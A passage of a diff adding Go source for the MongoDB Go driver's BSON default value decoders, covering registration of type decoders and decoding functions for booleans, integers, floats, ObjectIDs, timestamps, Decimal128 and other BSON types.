defaultUIntCodec). + RegisterDefaultDecoder(reflect.Uint32, defaultUIntCodec). + RegisterDefaultDecoder(reflect.Uint64, defaultUIntCodec). + RegisterDefaultDecoder(reflect.Float32, floatDecoder). + RegisterDefaultDecoder(reflect.Float64, floatDecoder). + RegisterDefaultDecoder(reflect.Array, ValueDecoderFunc(dvd.ArrayDecodeValue)). + RegisterDefaultDecoder(reflect.Map, defaultMapCodec). + RegisterDefaultDecoder(reflect.Slice, defaultSliceCodec). + RegisterDefaultDecoder(reflect.String, defaultStringCodec). + RegisterDefaultDecoder(reflect.Struct, newDefaultStructCodec()). + RegisterDefaultDecoder(reflect.Ptr, NewPointerCodec()). + RegisterTypeMapEntry(bsontype.Double, tFloat64). + RegisterTypeMapEntry(bsontype.String, tString). + RegisterTypeMapEntry(bsontype.Array, tA). + RegisterTypeMapEntry(bsontype.Binary, tBinary). + RegisterTypeMapEntry(bsontype.Undefined, tUndefined). + RegisterTypeMapEntry(bsontype.ObjectID, tOID). + RegisterTypeMapEntry(bsontype.Boolean, tBool). + RegisterTypeMapEntry(bsontype.DateTime, tDateTime). + RegisterTypeMapEntry(bsontype.Regex, tRegex). + RegisterTypeMapEntry(bsontype.DBPointer, tDBPointer). + RegisterTypeMapEntry(bsontype.JavaScript, tJavaScript). + RegisterTypeMapEntry(bsontype.Symbol, tSymbol). + RegisterTypeMapEntry(bsontype.CodeWithScope, tCodeWithScope). + RegisterTypeMapEntry(bsontype.Int32, tInt32). + RegisterTypeMapEntry(bsontype.Int64, tInt64). + RegisterTypeMapEntry(bsontype.Timestamp, tTimestamp). + RegisterTypeMapEntry(bsontype.Decimal128, tDecimal). + RegisterTypeMapEntry(bsontype.MinKey, tMinKey). + RegisterTypeMapEntry(bsontype.MaxKey, tMaxKey). + RegisterTypeMapEntry(bsontype.Type(0), tD). + RegisterTypeMapEntry(bsontype.EmbeddedDocument, tD). + RegisterHookDecoder(tValueUnmarshaler, ValueDecoderFunc(dvd.ValueUnmarshalerDecodeValue)). + RegisterHookDecoder(tUnmarshaler, ValueDecoderFunc(dvd.UnmarshalerDecodeValue)) +} + +// DDecodeValue is the ValueDecoderFunc for primitive.D instances. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) DDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.IsValid() || !val.CanSet() || val.Type() != tD { + return ValueDecoderError{Name: "DDecodeValue", Kinds: []reflect.Kind{reflect.Slice}, Received: val} + } + + switch vrType := vr.Type(); vrType { + case bsontype.Type(0), bsontype.EmbeddedDocument: + dc.Ancestor = tD + case bsontype.Null: + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + default: + return fmt.Errorf("cannot decode %v into a primitive.D", vrType) + } + + dr, err := vr.ReadDocument() + if err != nil { + return err + } + + decoder, err := dc.LookupDecoder(tEmpty) + if err != nil { + return err + } + tEmptyTypeDecoder, _ := decoder.(typeDecoder) + + // Use the elements in the provided value if it's non nil. Otherwise, allocate a new D instance. + var elems primitive.D + if !val.IsNil() { + val.SetLen(0) + elems = val.Interface().(primitive.D) + } else { + elems = make(primitive.D, 0) + } + + for { + key, elemVr, err := dr.ReadElement() + if errors.Is(err, bsonrw.ErrEOD) { + break + } else if err != nil { + return err + } + + // Pass false for convert because we don't need to call reflect.Value.Convert for tEmpty. + elem, err := decodeTypeOrValueWithInfo(decoder, tEmptyTypeDecoder, dc, elemVr, tEmpty, false) + if err != nil { + return err + } + + elems = append(elems, primitive.E{Key: key, Value: elem.Interface()}) + } + + val.Set(reflect.ValueOf(elems)) + return nil +} + +func (dvd DefaultValueDecoders) booleanDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t.Kind() != reflect.Bool { + return emptyValue, ValueDecoderError{ + Name: "BooleanDecodeValue", + Kinds: []reflect.Kind{reflect.Bool}, + Received: reflect.Zero(t), + } + } + + var b bool + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Int32: + i32, err := vr.ReadInt32() + if err != nil { + return emptyValue, err + } + b = (i32 != 0) + case bsontype.Int64: + i64, err := vr.ReadInt64() + if err != nil { + return emptyValue, err + } + b = (i64 != 0) + case bsontype.Double: + f64, err := vr.ReadDouble() + if err != nil { + return emptyValue, err + } + b = (f64 != 0) + case bsontype.Boolean: + b, err = vr.ReadBoolean() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a boolean", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(b), nil +} + +// BooleanDecodeValue is the ValueDecoderFunc for bool types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) BooleanDecodeValue(dctx DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.IsValid() || !val.CanSet() || val.Kind() != reflect.Bool { + return ValueDecoderError{Name: "BooleanDecodeValue", Kinds: []reflect.Kind{reflect.Bool}, Received: val} + } + + elem, err := dvd.booleanDecodeType(dctx, vr, val.Type()) + if err != nil { + return err + } + + val.SetBool(elem.Bool()) + return nil +} + +func (DefaultValueDecoders) intDecodeType(dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + var i64 int64 + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Int32: + i32, err := vr.ReadInt32() + if err != nil { + return emptyValue, err + } + i64 = int64(i32) + case bsontype.Int64: + i64, err = vr.ReadInt64() + if err != nil { + return emptyValue, err + } + case bsontype.Double: + f64, err := vr.ReadDouble() + if err != nil { + return emptyValue, err + } + if !dc.Truncate && math.Floor(f64) != f64 { + return emptyValue, errCannotTruncate + } + if f64 > float64(math.MaxInt64) { + return emptyValue, fmt.Errorf("%g overflows int64", f64) + } + i64 = int64(f64) + case bsontype.Boolean: + b, err := vr.ReadBoolean() + if err != nil { + return emptyValue, err + } + if b { + i64 = 1 + } + case bsontype.Null: + if err = vr.ReadNull(); err != nil { + return emptyValue, err + } + case bsontype.Undefined: + if err = vr.ReadUndefined(); err != nil { + return emptyValue, err + } + default: + return emptyValue, fmt.Errorf("cannot decode %v into an integer type", vrType) + } + + switch t.Kind() { + case reflect.Int8: + if i64 < math.MinInt8 || i64 > math.MaxInt8 { + return emptyValue, fmt.Errorf("%d overflows int8", i64) + } + + return reflect.ValueOf(int8(i64)), nil + case reflect.Int16: + if i64 < math.MinInt16 || i64 > math.MaxInt16 { + return emptyValue, fmt.Errorf("%d overflows int16", i64) + } + + return reflect.ValueOf(int16(i64)), nil + case reflect.Int32: + if i64 < math.MinInt32 || i64 > math.MaxInt32 { + return emptyValue, fmt.Errorf("%d overflows int32", i64) + } + + return reflect.ValueOf(int32(i64)), nil + case reflect.Int64: + return reflect.ValueOf(i64), nil + case reflect.Int: + if i64 > math.MaxInt { // Can we fit this inside of an int + return emptyValue, fmt.Errorf("%d overflows int", i64) + } + + return reflect.ValueOf(int(i64)), nil + default: + return emptyValue, ValueDecoderError{ + Name: "IntDecodeValue", + Kinds: []reflect.Kind{reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int}, + Received: reflect.Zero(t), + } + } +} + +// IntDecodeValue is the ValueDecoderFunc for int types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) IntDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() { + return ValueDecoderError{ + Name: "IntDecodeValue", + Kinds: []reflect.Kind{reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int}, + Received: val, + } + } + + elem, err := dvd.intDecodeType(dc, vr, val.Type()) + if err != nil { + return err + } + + val.SetInt(elem.Int()) + return nil +} + +// UintDecodeValue is the ValueDecoderFunc for uint types. +// +// Deprecated: UintDecodeValue is not registered by default. Use UintCodec.DecodeValue instead. +func (dvd DefaultValueDecoders) UintDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + var i64 int64 + var err error + switch vr.Type() { + case bsontype.Int32: + i32, err := vr.ReadInt32() + if err != nil { + return err + } + i64 = int64(i32) + case bsontype.Int64: + i64, err = vr.ReadInt64() + if err != nil { + return err + } + case bsontype.Double: + f64, err := vr.ReadDouble() + if err != nil { + return err + } + if !dc.Truncate && math.Floor(f64) != f64 { + return errors.New("UintDecodeValue can only truncate float64 to an integer type when truncation is enabled") + } + if f64 > float64(math.MaxInt64) { + return fmt.Errorf("%g overflows int64", f64) + } + i64 = int64(f64) + case bsontype.Boolean: + b, err := vr.ReadBoolean() + if err != nil { + return err + } + if b { + i64 = 1 + } + default: + return fmt.Errorf("cannot decode %v into an integer type", vr.Type()) + } + + if !val.CanSet() { + return ValueDecoderError{ + Name: "UintDecodeValue", + Kinds: []reflect.Kind{reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint}, + Received: val, + } + } + + switch val.Kind() { + case reflect.Uint8: + if i64 < 0 || i64 > math.MaxUint8 { + return fmt.Errorf("%d overflows uint8", i64) + } + case reflect.Uint16: + if i64 < 0 || i64 > math.MaxUint16 { + return fmt.Errorf("%d overflows uint16", i64) + } + case reflect.Uint32: + if i64 < 0 || i64 > math.MaxUint32 { + return fmt.Errorf("%d overflows uint32", i64) + } + case reflect.Uint64: + if i64 < 0 { + return fmt.Errorf("%d overflows uint64", i64) + } + case reflect.Uint: + if i64 < 0 || uint64(i64) > uint64(math.MaxUint) { // Can we fit this inside of an uint + return fmt.Errorf("%d overflows uint", i64) + } + default: + return ValueDecoderError{ + Name: "UintDecodeValue", + Kinds: []reflect.Kind{reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint}, + Received: val, + } + } + + val.SetUint(uint64(i64)) + return nil +} + +func (dvd DefaultValueDecoders) floatDecodeType(dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + var f float64 + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Int32: + i32, err := vr.ReadInt32() + if err != nil { + return emptyValue, err + } + f = float64(i32) + case bsontype.Int64: + i64, err := vr.ReadInt64() + if err != nil { + return emptyValue, err + } + f = float64(i64) + case bsontype.Double: + f, err = vr.ReadDouble() + if err != nil { + return emptyValue, err + } + case bsontype.Boolean: + b, err := vr.ReadBoolean() + if err != nil { + return emptyValue, err + } + if b { + f = 1 + } + case bsontype.Null: + if err = vr.ReadNull(); err != nil { + return emptyValue, err + } + case bsontype.Undefined: + if err = vr.ReadUndefined(); err != nil { + return emptyValue, err + } + default: + return emptyValue, fmt.Errorf("cannot decode %v into a float32 or float64 type", vrType) + } + + switch t.Kind() { + case reflect.Float32: + if !dc.Truncate && float64(float32(f)) != f { + return emptyValue, errCannotTruncate + } + + return reflect.ValueOf(float32(f)), nil + case reflect.Float64: + return reflect.ValueOf(f), nil + default: + return emptyValue, ValueDecoderError{ + Name: "FloatDecodeValue", + Kinds: []reflect.Kind{reflect.Float32, reflect.Float64}, + Received: reflect.Zero(t), + } + } +} + +// FloatDecodeValue is the ValueDecoderFunc for float types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) FloatDecodeValue(ec DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() { + return ValueDecoderError{ + Name: "FloatDecodeValue", + Kinds: []reflect.Kind{reflect.Float32, reflect.Float64}, + Received: val, + } + } + + elem, err := dvd.floatDecodeType(ec, vr, val.Type()) + if err != nil { + return err + } + + val.SetFloat(elem.Float()) + return nil +} + +// StringDecodeValue is the ValueDecoderFunc for string types. +// +// Deprecated: StringDecodeValue is not registered by default. Use StringCodec.DecodeValue instead. +func (dvd DefaultValueDecoders) StringDecodeValue(_ DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + var str string + var err error + switch vr.Type() { + // TODO(GODRIVER-577): Handle JavaScript and Symbol BSON types when allowed. + case bsontype.String: + str, err = vr.ReadString() + if err != nil { + return err + } + default: + return fmt.Errorf("cannot decode %v into a string type", vr.Type()) + } + if !val.CanSet() || val.Kind() != reflect.String { + return ValueDecoderError{Name: "StringDecodeValue", Kinds: []reflect.Kind{reflect.String}, Received: val} + } + + val.SetString(str) + return nil +} + +func (DefaultValueDecoders) javaScriptDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tJavaScript { + return emptyValue, ValueDecoderError{ + Name: "JavaScriptDecodeValue", + Types: []reflect.Type{tJavaScript}, + Received: reflect.Zero(t), + } + } + + var js string + var err error + switch vrType := vr.Type(); vrType { + case bsontype.JavaScript: + js, err = vr.ReadJavascript() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a primitive.JavaScript", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.JavaScript(js)), nil +} + +// JavaScriptDecodeValue is the ValueDecoderFunc for the primitive.JavaScript type. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) JavaScriptDecodeValue(dctx DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tJavaScript { + return ValueDecoderError{Name: "JavaScriptDecodeValue", Types: []reflect.Type{tJavaScript}, Received: val} + } + + elem, err := dvd.javaScriptDecodeType(dctx, vr, tJavaScript) + if err != nil { + return err + } + + val.SetString(elem.String()) + return nil +} + +func (DefaultValueDecoders) symbolDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tSymbol { + return emptyValue, ValueDecoderError{ + Name: "SymbolDecodeValue", + Types: []reflect.Type{tSymbol}, + Received: reflect.Zero(t), + } + } + + var symbol string + var err error + switch vrType := vr.Type(); vrType { + case bsontype.String: + symbol, err = vr.ReadString() + case bsontype.Symbol: + symbol, err = vr.ReadSymbol() + case bsontype.Binary: + data, subtype, err := vr.ReadBinary() + if err != nil { + return emptyValue, err + } + + if subtype != bsontype.BinaryGeneric && subtype != bsontype.BinaryBinaryOld { + return emptyValue, decodeBinaryError{subtype: subtype, typeName: "primitive.Symbol"} + } + symbol = string(data) + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a primitive.Symbol", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.Symbol(symbol)), nil +} + +// SymbolDecodeValue is the ValueDecoderFunc for the primitive.Symbol type. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) SymbolDecodeValue(dctx DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tSymbol { + return ValueDecoderError{Name: "SymbolDecodeValue", Types: []reflect.Type{tSymbol}, Received: val} + } + + elem, err := dvd.symbolDecodeType(dctx, vr, tSymbol) + if err != nil { + return err + } + + val.SetString(elem.String()) + return nil +} + +func (DefaultValueDecoders) binaryDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tBinary { + return emptyValue, ValueDecoderError{ + Name: "BinaryDecodeValue", + Types: []reflect.Type{tBinary}, + Received: reflect.Zero(t), + } + } + + var data []byte + var subtype byte + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Binary: + data, subtype, err = vr.ReadBinary() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a Binary", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.Binary{Subtype: subtype, Data: data}), nil +} + +// BinaryDecodeValue is the ValueDecoderFunc for Binary. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) BinaryDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tBinary { + return ValueDecoderError{Name: "BinaryDecodeValue", Types: []reflect.Type{tBinary}, Received: val} + } + + elem, err := dvd.binaryDecodeType(dc, vr, tBinary) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) undefinedDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tUndefined { + return emptyValue, ValueDecoderError{ + Name: "UndefinedDecodeValue", + Types: []reflect.Type{tUndefined}, + Received: reflect.Zero(t), + } + } + + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Undefined: + err = vr.ReadUndefined() + case bsontype.Null: + err = vr.ReadNull() + default: + return emptyValue, fmt.Errorf("cannot decode %v into an Undefined", vr.Type()) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.Undefined{}), nil +} + +// UndefinedDecodeValue is the ValueDecoderFunc for Undefined. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) UndefinedDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tUndefined { + return ValueDecoderError{Name: "UndefinedDecodeValue", Types: []reflect.Type{tUndefined}, Received: val} + } + + elem, err := dvd.undefinedDecodeType(dc, vr, tUndefined) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +// Accept both 12-byte string and pretty-printed 24-byte hex string formats. +func (dvd DefaultValueDecoders) objectIDDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tOID { + return emptyValue, ValueDecoderError{ + Name: "ObjectIDDecodeValue", + Types: []reflect.Type{tOID}, + Received: reflect.Zero(t), + } + } + + var oid primitive.ObjectID + var err error + switch vrType := vr.Type(); vrType { + case bsontype.ObjectID: + oid, err = vr.ReadObjectID() + if err != nil { + return emptyValue, err + } + case bsontype.String: + str, err := vr.ReadString() + if err != nil { + return emptyValue, err + } + if oid, err = primitive.ObjectIDFromHex(str); err == nil { + break + } + if len(str) != 12 { + return emptyValue, fmt.Errorf("an ObjectID string must be exactly 12 bytes long (got %v)", len(str)) + } + byteArr := []byte(str) + copy(oid[:], byteArr) + case bsontype.Null: + if err = vr.ReadNull(); err != nil { + return emptyValue, err + } + case bsontype.Undefined: + if err = vr.ReadUndefined(); err != nil { + return emptyValue, err + } + default: + return emptyValue, fmt.Errorf("cannot decode %v into an ObjectID", vrType) + } + + return reflect.ValueOf(oid), nil +} + +// ObjectIDDecodeValue is the ValueDecoderFunc for primitive.ObjectID. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) ObjectIDDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tOID { + return ValueDecoderError{Name: "ObjectIDDecodeValue", Types: []reflect.Type{tOID}, Received: val} + } + + elem, err := dvd.objectIDDecodeType(dc, vr, tOID) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) dateTimeDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tDateTime { + return emptyValue, ValueDecoderError{ + Name: "DateTimeDecodeValue", + Types: []reflect.Type{tDateTime}, + Received: reflect.Zero(t), + } + } + + var dt int64 + var err error + switch vrType := vr.Type(); vrType { + case bsontype.DateTime: + dt, err = vr.ReadDateTime() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a DateTime", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.DateTime(dt)), nil +} + +// DateTimeDecodeValue is the ValueDecoderFunc for DateTime. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) DateTimeDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tDateTime { + return ValueDecoderError{Name: "DateTimeDecodeValue", Types: []reflect.Type{tDateTime}, Received: val} + } + + elem, err := dvd.dateTimeDecodeType(dc, vr, tDateTime) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) nullDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tNull { + return emptyValue, ValueDecoderError{ + Name: "NullDecodeValue", + Types: []reflect.Type{tNull}, + Received: reflect.Zero(t), + } + } + + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Undefined: + err = vr.ReadUndefined() + case bsontype.Null: + err = vr.ReadNull() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a Null", vr.Type()) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.Null{}), nil +} + +// NullDecodeValue is the ValueDecoderFunc for Null. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) NullDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tNull { + return ValueDecoderError{Name: "NullDecodeValue", Types: []reflect.Type{tNull}, Received: val} + } + + elem, err := dvd.nullDecodeType(dc, vr, tNull) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) regexDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tRegex { + return emptyValue, ValueDecoderError{ + Name: "RegexDecodeValue", + Types: []reflect.Type{tRegex}, + Received: reflect.Zero(t), + } + } + + var pattern, options string + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Regex: + pattern, options, err = vr.ReadRegex() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a Regex", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.Regex{Pattern: pattern, Options: options}), nil +} + +// RegexDecodeValue is the ValueDecoderFunc for Regex. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) RegexDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tRegex { + return ValueDecoderError{Name: "RegexDecodeValue", Types: []reflect.Type{tRegex}, Received: val} + } + + elem, err := dvd.regexDecodeType(dc, vr, tRegex) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) dBPointerDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tDBPointer { + return emptyValue, ValueDecoderError{ + Name: "DBPointerDecodeValue", + Types: []reflect.Type{tDBPointer}, + Received: reflect.Zero(t), + } + } + + var ns string + var pointer primitive.ObjectID + var err error + switch vrType := vr.Type(); vrType { + case bsontype.DBPointer: + ns, pointer, err = vr.ReadDBPointer() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a DBPointer", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.DBPointer{DB: ns, Pointer: pointer}), nil +} + +// DBPointerDecodeValue is the ValueDecoderFunc for DBPointer. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) DBPointerDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tDBPointer { + return ValueDecoderError{Name: "DBPointerDecodeValue", Types: []reflect.Type{tDBPointer}, Received: val} + } + + elem, err := dvd.dBPointerDecodeType(dc, vr, tDBPointer) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) timestampDecodeType(_ DecodeContext, vr bsonrw.ValueReader, reflectType reflect.Type) (reflect.Value, error) { + if reflectType != tTimestamp { + return emptyValue, ValueDecoderError{ + Name: "TimestampDecodeValue", + Types: []reflect.Type{tTimestamp}, + Received: reflect.Zero(reflectType), + } + } + + var t, incr uint32 + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Timestamp: + t, incr, err = vr.ReadTimestamp() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a Timestamp", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.Timestamp{T: t, I: incr}), nil +} + +// TimestampDecodeValue is the ValueDecoderFunc for Timestamp. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) TimestampDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tTimestamp { + return ValueDecoderError{Name: "TimestampDecodeValue", Types: []reflect.Type{tTimestamp}, Received: val} + } + + elem, err := dvd.timestampDecodeType(dc, vr, tTimestamp) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) minKeyDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tMinKey { + return emptyValue, ValueDecoderError{ + Name: "MinKeyDecodeValue", + Types: []reflect.Type{tMinKey}, + Received: reflect.Zero(t), + } + } + + var err error + switch vrType := vr.Type(); vrType { + case bsontype.MinKey: + err = vr.ReadMinKey() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a MinKey", vr.Type()) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.MinKey{}), nil +} + +// MinKeyDecodeValue is the ValueDecoderFunc for MinKey. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) MinKeyDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tMinKey { + return ValueDecoderError{Name: "MinKeyDecodeValue", Types: []reflect.Type{tMinKey}, Received: val} + } + + elem, err := dvd.minKeyDecodeType(dc, vr, tMinKey) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (DefaultValueDecoders) maxKeyDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tMaxKey { + return emptyValue, ValueDecoderError{ + Name: "MaxKeyDecodeValue", + Types: []reflect.Type{tMaxKey}, + Received: reflect.Zero(t), + } + } + + var err error + switch vrType := vr.Type(); vrType { + case bsontype.MaxKey: + err = vr.ReadMaxKey() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a MaxKey", vr.Type()) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(primitive.MaxKey{}), nil +} + +// MaxKeyDecodeValue is the ValueDecoderFunc for MaxKey. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) MaxKeyDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tMaxKey { + return ValueDecoderError{Name: "MaxKeyDecodeValue", Types: []reflect.Type{tMaxKey}, Received: val} + } + + elem, err := dvd.maxKeyDecodeType(dc, vr, tMaxKey) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (dvd DefaultValueDecoders) decimal128DecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tDecimal { + return emptyValue, ValueDecoderError{ + Name: "Decimal128DecodeValue", + Types: []reflect.Type{tDecimal}, + Received: reflect.Zero(t), + } + } + + var d128 primitive.Decimal128 + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Decimal128: + d128, err = vr.ReadDecimal128() + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a primitive.Decimal128", vr.Type()) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(d128), nil +} + +// Decimal128DecodeValue is the ValueDecoderFunc for primitive.Decimal128. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) Decimal128DecodeValue(dctx DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tDecimal { + return ValueDecoderError{Name: "Decimal128DecodeValue", Types: []reflect.Type{tDecimal}, Received: val} + } + + elem, err := dvd.decimal128DecodeType(dctx, vr, tDecimal) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (dvd DefaultValueDecoders) jsonNumberDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tJSONNumber { + return emptyValue, ValueDecoderError{ 